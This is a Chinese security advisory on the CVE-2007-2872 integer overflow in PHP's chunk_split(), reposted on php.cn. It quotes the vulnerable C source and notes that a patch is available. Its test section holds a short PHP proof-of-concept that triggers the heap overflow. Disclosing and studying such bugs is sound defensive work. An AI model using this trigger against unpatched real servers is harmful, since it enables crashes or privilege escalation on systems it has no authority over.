PHP5.2下chunk_split()函数整数溢出漏洞 分析_php文摘

php.cn
Release: 2016-05-17 09:39:13
original
847 people have browsed it

受影响系统:
PHP PHP 不受影响系统:
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872

PHP是一种流行的WEB服务器端编程语言。

PHP中的chunk_split函数在处理畸形参数时存在整数溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限。

PHP中chunk_split函数的1963行试图为函数结果分配充分的内存大小,但没有执行任何检查便使用了srclen和chunklen参数块。如果值的块和endlen大于65534字节的话,就会触发整数溢出,分配错误的内存大小,导致堆溢出。

ext/standard/string.c:

1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p 1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }


链接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/downloads.php#v5

文章来自: 绿盟科技

Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact [email protected]
Latest issues
Popular Tutorials
More>
Latest downloads
More>
web effects
Website source code
Website materials
Front end template
About us Disclaimer Sitemap
PHP Chinese website:Public welfare online PHP training,Help PHP learners grow quickly!